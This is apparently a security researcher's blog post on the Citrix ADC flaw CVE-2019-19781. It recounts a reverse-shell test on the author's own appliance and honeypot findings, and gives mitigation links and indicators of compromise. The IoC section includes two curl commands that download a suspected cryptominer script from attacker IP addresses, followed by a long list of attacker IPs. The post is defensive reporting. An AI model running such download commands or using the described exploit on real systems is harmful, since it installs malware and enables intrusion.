On December 17th 2019, CVE-2019-19781 was disclosed. The vulnerability allows for directory traversal and remote code execution on Citrix Application Delivery Controllers (ADC) and Gateways with firmware versions 10.5, 11.1, 12.0, 12.1, and 13.1. Some time around the evening of January 10th 2020, security researchers released a proof of concept for the exploit. The exploit allows attackers to exploit the directory traversal vulnerability and calls a perl script that appends XML files to the victim’s machine. This can result in remote code execution (RCE). There are approximately 25,000 vulnerable servers exposed to the internet. The Citrix ADC system is a popular product among businesses in a variety of sectors, including law enforcement, healthcare, military, and critical infrastructure. 

I created a Citrix ADC VPX in AWS to manually test the exploit. After using netcat to create a listener, I was able to catch a reverse shell, with access as the user “nsroot”, and could view the contents of /etc/passwd. This directory contains the hashed passwords of the users on the system, among other data. An attacker could use this vulnerability as a beachhead into the victim’s network, and considering many of these appliances are VPNs and load balancers, it could be disastrous if the attacker began to manipulate the flow of network traffic on victim networks. 

 

CVE-2019-19781 reverse shell

The reverse shell connecting to my machine,  listing the directories on the appliance

 

CVE-2019-19781- contents victim appliance

The contents of /etc/password on the victim appliance

 

After verifying that the exploit worked, I created a honeypot in AWS with the intent of gathering data on the volume and frequency of attacks against Citrix appliances. The exploit uses a GET request to verify the directory traversal vulnerability. My honeypot saw 127,085 GET requests in a 48-hour period, with 249 of those requests attempting to exploit the vulnerability. Interestingly enough, the original exploit that was released only allowed for the testing of one server at a time. Shortly after the author announced on Twitter that they had updated the exploit to be capable of scanning CIDR blocks, there was a dramatic increase in connection attempts to my honeypot, as can be seen in the graphic below (the tweet was made at 0852 CST on January 11th, the first spike in activity was at 1005 CST).

 

CVE-2019-19781 volume of connections

The volume of connections made to the server, sorted by time (UTC)

 

After doing some auditing of the logs on the VPX appliance, I discovered that there were 87 IP addresses that were the most persistent in trying to gain access. Someone was also kind enough to schedule a cron job that downloaded a shell script and redirected output to /dev/null. Further investigation of this shell script using open-source file analysis tools revealed it to likely be a cryptominer. 

 

CVE-2019-19781 content of crontab

The contents of crontab, created by user “nobody”

 

While current data shows that attackers are actively scanning for this vulnerable service, the volume and frequency aren’t outside of previously seen data for other vulnerable services. 

I will continue to run a few different honeypots to gather more data and present those findings in another blog.

 

Mitigation

Citrix has provided a detailed mitigation process here: https://support.citrix.com/article/CTX267679, and are currently working on a patch for the vulnerable firmware versions. 

The Department of Homeland Security CISA has released a tool on Github to check if your infrastructure is vulnerable. The tool requires Python 3.6 or higher and can be found here: https://github.com/cisagov/check-cve-2019-19781.

 

Indicators of Compromise

The nature of the exploit means that the remote code execution is performed by user “nobody”. Audit the /var/log directory on any of your vulnerable Citrix appliances to look for activity by this user. Commands in the bash.log file, such as curl, hostname, uname, whoami or attempts to access sensitive data can all be useful in determining if there has been an attack. The httpaccess.log and httperror.log files will contain useful information about the origin of attacks, since the RCE takes place against the web server. Backdoors may be placed in the /netscaler/portal/templates and /var/tmp/netscaler/portal/templates directories.

curl https://185.178.45.221/ci.sh

curl https://62.113.112.33/ci.sh 

103.120.124.100

106.12.15.230

106.12.36.173

112.196.54.35

112.30.133.241

114.67.102.54

118.143.198.3

118.194.132.112

118.89.39.81

1.212.71.18

129.144.60.201

132.145.166.31

13.233.245.49

139.155.83.98

139.219.100.94

139.59.94.225

140.143.61.127

140.203.204.56

145.239.11.235

148.70.210.77

149.56.131.73

151.80.140.166

167.172.196.19

167.172.74.244

173.249.8.192

173.29.205.116

175.197.233.197

180.106.81.168

182.242.138.236

182.61.109.71

183.15.120.118

184.66.225.102

186.10.17.84

187.16.96.37

188.165.198.162

190.85.34.203

194.87.147.231

199.19.224.191

200.116.105.213

200.186.178.2

200.54.96.59

202.71.176.134

212.47.238.207

220.165.15.228

222.186.15.10

222.186.15.158

222.186.15.166

222.186.15.91

222.186.180.130

222.186.180.142

222.186.30.114

222.186.30.12

222.186.30.145

222.186.30.187

222.186.30.218

222.186.30.248

222.186.30.35

222.186.30.57

222.186.30.76

222.186.31.144

222.186.31.166

222.186.31.83

222.186.42.136

222.186.42.155

222.186.42.7

222.186.52.189

222.252.30.117

23.226.226.88

23.99.176.168

43.248.213.162

45.124.86.65

45.12.73.11

46.105.31.249

49.235.145.231

49.88.112.110

51.254.37.192

54.38.214.191

62.234.109.203

85.48.33.182

87.120.36.21

88.15.211.105

91.121.84.121

91.23.33.175

92.223.206.58

93.61.134.60

94.191.89.180

95.91.162.45